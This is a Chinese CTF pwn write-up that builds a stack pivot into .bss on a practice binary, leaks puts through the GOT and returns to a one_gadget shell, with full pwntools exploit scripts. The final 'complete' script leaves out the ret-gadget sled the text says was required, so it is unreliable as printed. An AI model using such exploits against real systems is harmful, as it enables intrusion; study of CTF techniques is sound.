一题栈迁移 但是有涉及到内存越界的问题 记录一下 防止以后踩坑
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)ida打开看一下
int __cdecl main(int argc, const char **argv, const char **envp){ char buf[96]; // [rsp+0h] [rbp-60h] BYREF
setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts(aWelcomeToStack); read(0, buf, 0x70uLL); puts("Done!You can check and use your borrow stack now!"); read(0, &bank, 0x100uLL); return 0;}buf局部变量 bank位于bss段
栈溢出的空间太少了 构造不了rop链 所以是想到把rop写到bank里面 然后栈迁移到对应位置
ps: 这里的逻辑关系得清楚一下 我们平时栈溢出覆盖返回地址 实际上利用main函数这个栈帧结束以后 会返回到父函数 覆盖了返回地址 所以哪怕我们先覆盖了返回地址 但是接下来程序并没有立刻结束 所以并不会影响我们修改bank的内容
此时exp:
from pwn import*from struct import packfrom ctypes import *from LibcSearcher import*
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) print(hex(libc_addr)) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn'libc_name = 'buu_libc_ubuntu16_64'ip="node4.buuoj.cn"port=28099elf,libc = elf_libc(filename,libc_name)#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')main_addr = elf.sym['main']
#io = remoteconnect(ip,port)io = process("./pwn")debug(1)
io.recvuntil("Welcome to Stack bank,Tell me what you want")bss_addr = 0x601080leave_addr = 0x400699puts_plt = 0x4004e0rdi_addr = 0x400703ret_addr = 0x4004c9puts_got = elf.got['puts']read_got = elf.got['read']payload = cyclic(0x60)+p64(bss_addr-0x8)+p64(leave_addr)io.send(payload)io.recvuntil("Done!You can check and use your borrow stack now!")payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)io.sendline(payload)但是发现行不通 gdb动调了一下发现 好像跳转到了奇怪的地方

看了一下地址 好像是跑到了bss段上面的got表了 那有没有什么办法可以抬高栈(往低地址处抬高) 我们想到了ret指令 刚好可以读入0x100字节的数据在bank里面
payload = p64(ret_addr)*20+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)接着就可以成功泄露puts的真实地址了
接下来两个办法 既然只能刚好覆盖到ret addr 那就直接覆盖成onegadget 因为libc基址已经知道了
或者重复上面的操作 按照常规的system进行系统调用 不过尝试了一下发现不行 也不清楚是什么原因
完整exp:
from pwn import*from struct import packfrom ctypes import *from LibcSearcher import*
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) print(hex(libc_addr)) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn'libc_name = 'buu_libc_ubuntu16_64'ip="node4.buuoj.cn"port=28099elf,libc = elf_libc(filename,libc_name)#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')main_addr = elf.sym['main']
#io = remoteconnect(ip,port)io = process("./pwn")debug(1)
io.recvuntil("Welcome to Stack bank,Tell me what you want")bss_addr = 0x601080leave_addr = 0x400699puts_plt = 0x4004e0rdi_addr = 0x400703ret_addr = 0x4004c9puts_got = elf.got['puts']read_got = elf.got['read']payload = cyclic(0x60)+p64(bss_addr-0x8)+p64(leave_addr)io.send(payload)io.recvuntil("Done!You can check and use your borrow stack now!")payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)gdb.attach(io)io.sendline(payload)io.recv()puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))libc_addr = puts_addr - libc.sym['puts']#0x45216 0x4526a 0xf02a4 0xf1147onegadget_addr = libc_addr+0x4526aio.recvuntil("Welcome to Stack bank,Tell me what you want")payload = cyclic(0x68)+p64(onegadget_addr)io.sendline(payload)io.interactive()